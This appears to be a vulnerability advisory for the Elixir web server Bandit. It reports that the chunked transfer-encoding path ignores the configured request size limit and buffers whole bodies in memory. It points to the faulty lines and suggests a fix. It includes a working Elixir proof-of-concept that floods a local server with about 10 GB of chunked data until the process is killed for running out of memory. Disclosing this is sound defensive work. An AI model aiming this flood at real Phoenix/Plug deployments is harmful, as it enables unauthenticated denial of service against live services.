Summary
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.
Details
In lib/bandit/http1/socket.ex:189, the chunked clause of readdata/2 only forwards :readlength and :readtimeout to doreadchunkeddata!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodatatobinary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.
The content-length sibling at :210 does the right thing:
elixir maxtoreturn = min(unreadcontentlength, Keyword.get(opts, :length, 8000000))
Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.
Suggested Fix: track accumulated bytes in doreadchunkeddata! and either return {:more, ...} or raise requesterror! once :length is exceeded, mirroring the content-length path.
PoC
Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8000000) and floods it. Save as chunkedoom.exs, run elixir chunkedoom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.
elixir Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do use Plug.Builder
# The length option here is ignored by the attack plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["/"], jsondecoder: JSON, length: 8000000 plug :respond
def respond(conn, ), do: Plug.Conn.sendresp(conn, 200, "ok") end
{:ok, } = Bandit.startlink(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side. chunk = :binary.copy(<<?A>>, 1048576) frame = "#{Integer.tostring(1048576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok = :gentcp.send(sock, """ POST / HTTP/1.1\r Host: 127.0.0.1\r Transfer-Encoding: chunked\r Content-Type: application/json\r Connection: close\r \r """)
Enum.each(1..10240, fn -> :ok = :gentcp.send(sock, frame) end) :ok = :gentcp.send(sock, "0\r\n\r\n")
IO.inspect(:gentcp.recv(sock, 0, 120000))
Impact
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.readbody/2 are silently ineffective on the chunked path.